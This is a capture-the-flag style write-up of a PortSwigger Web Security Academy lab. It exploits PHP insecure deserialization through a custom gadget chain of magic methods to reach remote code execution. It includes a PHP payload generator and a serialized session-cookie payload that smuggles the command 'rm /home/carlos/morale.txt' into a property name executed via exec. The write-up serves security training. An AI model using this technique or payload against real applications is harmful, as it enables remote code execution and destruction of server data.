Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Insecure Deserialization — PHP, Custom Gadget Chain, Magic Method Abuse
Difficulty Expert
Objective Deploy a custom gadget chain via insecure deserialization to achieve RCE and delete morale.txt from Carlos's home directory

Developing a Custom Gadget Chain for PHP Deserialization

I logged in as wiener:peter and decoded the session cookie:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m247sa9pfc2ucf0kii51xto9jzruterx";}
Screenshot

The page source had a familiar comment:

<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
Screenshot

The backup file at /cgi-bin/libs/CustomTemplate.php~ returned the full PHP source:

Screenshot

Four classes: CustomTemplate, Product, Description, and DefaultMap. The chain runs entirely through PHP magic methods — none of these require an explicit attacker-controlled call. Each one fires automatically as a consequence of the previous step.

__wakeup() triggers on deserialization and calls build_product(). That creates new Product($this->default_desc_type, $this->desc), whose constructor does $this->desc = $desc->$default_desc_type — accessing $default_desc_type as a property name on $desc. That's where DefaultMap comes in: it defines __get($name), which fires whenever code tries to access a property that doesn't exist on the object, and executes call_user_func($this->callback, $name). With $callback = "exec" and $name set to whatever property was requested, it's a ready-made RCE sink — call_user_func with an attacker-controlled callback can invoke any callable in PHP.

DefaultMap was never used anywhere in the application's normal flow, but a class sitting unused in a codebase can still become a powerful gadget when an attacker can instantiate it through deserialization and chain it with other classes' magic methods.

The payload construction:

  • Set $desc to a DefaultMap object with callback = "exec"
  • Set $default_desc_type to "rm /home/carlos/morale.txt"

When the chain fires: __wakeup()build_product()Product::__construct tries $defaultmap->"rm /home/carlos/morale.txt" → that property doesn't exist → DefaultMap::__get("rm /home/carlos/morale.txt") fires → call_user_func("exec", "rm /home/carlos/morale.txt") executes server-side.

I wrote a PHP script to generate the serialized payload locally, changing private to public to avoid access errors during generation — the server's version will still deserialize correctly since the property names in the serialized string match:

<?php

class CustomTemplate {
    public $default_desc_type;
    public $desc;
    public $product;
    // ...
}

class DefaultMap {
    public $callback;

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

$obj = new CustomTemplate();
$obj->desc = new DefaultMap("exec");
$obj->default_desc_type = "rm /home/carlos/morale.txt";

echo serialize($obj);
?>

Output:

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

Base64-encoding and injecting as the session cookie:

Screenshot
Screenshot
Screenshot

And that makes the lab solved

Resources